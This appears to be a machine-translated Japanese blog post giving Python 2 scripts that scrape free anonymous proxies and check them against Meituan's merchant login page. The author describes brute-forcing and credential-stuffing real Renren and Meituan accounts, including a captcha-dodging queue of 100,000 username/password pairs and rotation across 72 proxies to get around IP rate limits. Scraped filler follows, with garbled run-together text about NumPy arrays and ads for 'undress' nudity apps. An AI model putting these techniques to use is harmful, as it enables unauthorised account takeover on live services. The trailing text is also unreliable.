この記事では主に HTTP プロキシのバッチ取得と検証のための Python スクリプトを紹介します。必要な方は参考にしてください。
HTTP ブルート フォース クラッキングとクレデンシャル スタッフィングには次のような一般的な手法があります。 Renrenのアカウント その時、シングルアカウントエラーが2回発生し、認証コードの入力を迫られましたが、相手はIPポリシーを実装していませんでした。
確認コードをバイパスするために、100,000 (ユーザー名、パスワード) のキューを維持する方法を使用します。具体的な方法は、特定のユーザー名とパスワードの組み合わせに確認コードが必要な場合、クラッキング シーケンスが一時停止され、キューの最後に置かれ、次のテストを待機し、他のアカウント パスワードのクラッキングを継続するというものです。
こうすることで、時間の 2/3 を通常のクラッキングとアカウント スキャンに費やすことができます。
2. Meituan.com のシステム アカウントをクラッキングするときに、単一 IP アクセスに特定の制限が発生しました。リクエストの頻度は速すぎてはなりません。そこで、この問題を解決するために 72 個の HTTP プロキシを切断しました。 各 IP からのリクエストは正常であるように見えますが、実際、プログラム全体の観点から見ると、その効率は非常に優れています。
この記事では、私自身の HTTP スクリプトのスニペットを投稿しましたが、実際には数行しかありません。匿名プロキシはここから取得されます: http://www.xici.net.co/nn/
まずプロキシ リストを取得します:
from bs4 import BeautifulSoup import urllib2 of = open('proxy.txt' , 'w') for page in range(1, 160): html_doc = urllib2.urlopen('http://www.xici.net.co/nn/' + str(page) ).read() soup = BeautifulSoup(html_doc) trs = soup.find('table', id='ip_list').find_all('tr') for tr in trs[1:]: tds = tr.find_all('td') ip = tds[1].text.strip() port = tds[2].text.strip() protocol = tds[5].text.strip() if protocol == 'HTTP' or protocol == 'HTTPS': of.write('%s=%s:%s\n' % (protocol, ip, port) ) print '%s=%s:%s' % (protocol, ip, port) of.close()
次に、プロキシが利用可能かどうかを確認します。なぜなら、私は Meituan をクラックするためにそれを使用しているからです。システムアカウントなので、Meituan のページタグが使用されます:
#encoding=gbk import httplib import time import urllib import threading inFile = open('proxy.txt', 'r') outFile = open('available.txt', 'w') lock = threading.Lock() def test(): while True: lock.acquire() line = inFile.readline().strip() lock.release() if len(line) == 0: break protocol, proxy = line.split('=') headers = {'Content-Type': 'application/x-www-form-urlencoded', 'Cookie': ''} try: conn = httplib.HTTPConnection(proxy, timeout=3.0) conn.request(method='POST', url='http://e.meituan.com/m/account/login', body='login=ttttttttttttttttttttttttttttttttttttt&password=bb&remember_username=1&auto_login=1', headers=headers ) res = conn.getresponse() ret_headers = str( res.getheaders() ) html_doc = res.read().decode('utf-8') print html_doc.encode('gbk') if ret_headers.find(u'/m/account/login/') > 0: lock.acquire() print 'add proxy', proxy outFile.write(proxy + '\n') lock.release() else: print '.', except Exception, e: print e all_thread = [] for i in range(50): t = threading.Thread(target=test) all_thread.append(t) t.start() for t in all_thread: t.join() inFile.close() outFile.close()
以上がPython を使用して HTTP プロキシをバッチで取得および検証するコード例の詳細内容です。詳細については、PHP 中国語 Web サイトの他の関連記事を参照してください。

Arraysinpython、特にvianumpy、arecrucialinscientificComputing fortheirefficienty andversitility.1)彼らは、fornumericaloperations、data analysis、andmachinelearning.2)numpy'simplementation incensuresfasteroperationsthanpasteroperations.3)arayableminablecickick

Pyenv、Venv、およびAnacondaを使用して、さまざまなPythonバージョンを管理できます。 1)Pyenvを使用して、複数のPythonバージョンを管理します。Pyenvをインストールし、グローバルバージョンとローカルバージョンを設定します。 2)VENVを使用して仮想環境を作成して、プロジェクトの依存関係を分離します。 3)Anacondaを使用して、データサイエンスプロジェクトでPythonバージョンを管理します。 4)システムレベルのタスク用にシステムPythonを保持します。これらのツールと戦略を通じて、Pythonのさまざまなバージョンを効果的に管理して、プロジェクトのスムーズな実行を確保できます。

numpyarrayshaveveraladvantages-averstandardpythonarrays:1)thealmuchfasterduetocベースのインプレンテーション、2)アレモレメモリ効率、特にlargedatasets、および3)それらは、拡散化された、構造化された形成術科療法、

パフォーマンスに対する配列の均一性の影響は二重です。1)均一性により、コンパイラはメモリアクセスを最適化し、パフォーマンスを改善できます。 2)しかし、タイプの多様性を制限し、それが非効率につながる可能性があります。要するに、適切なデータ構造を選択することが重要です。

craftexecutablepythonscripts、次のようになります

numpyarraysarasarebetterfornumeroperations andmulti-dimensionaldata、whilethearraymoduleissuitable forbasic、1)numpyexcelsinperformance and forlargedatasentassandcomplexoperations.2)thearraymuremememory-effictientivearientfa

NumPyArraySareBetterforHeavyNumericalComputing、whilethearrayarayismoreSuitableformemory-constrainedprojectswithsimpledatatypes.1)numpyarraysofferarays andatiledance andpeperancedatasandatassandcomplexoperations.2)thearraymoduleisuleiseightweightandmemememe-ef

ctypesallowsinging andmanipulatingc-stylearraysinpython.1)usectypestointerfacewithclibrariesforperformance.2)createc-stylearraysfornumericalcomputations.3)passarraystocfunctions foreffientientoperations.how、how、becuutiousmorymanagemation、performanceo


ホットAIツール

Undresser.AI Undress
リアルなヌード写真を作成する AI 搭載アプリ

AI Clothes Remover
写真から衣服を削除するオンライン AI ツール。

Undress AI Tool
脱衣画像を無料で

Clothoff.io
AI衣類リムーバー

Video Face Swap
完全無料の AI 顔交換ツールを使用して、あらゆるビデオの顔を簡単に交換できます。

人気の記事

ホットツール

SublimeText3 中国語版
中国語版、とても使いやすい

SAP NetWeaver Server Adapter for Eclipse
Eclipse を SAP NetWeaver アプリケーション サーバーと統合します。

WebStorm Mac版
便利なJavaScript開発ツール

SublimeText3 Linux 新バージョン
SublimeText3 Linux 最新バージョン

MinGW - Minimalist GNU for Windows
このプロジェクトは osdn.net/projects/mingw に移行中です。引き続きそこでフォローしていただけます。 MinGW: GNU Compiler Collection (GCC) のネイティブ Windows ポートであり、ネイティブ Windows アプリケーションを構築するための自由に配布可能なインポート ライブラリとヘッダー ファイルであり、C99 機能をサポートする MSVC ランタイムの拡張機能が含まれています。すべての MinGW ソフトウェアは 64 ビット Windows プラットフォームで実行できます。

ホットトピック









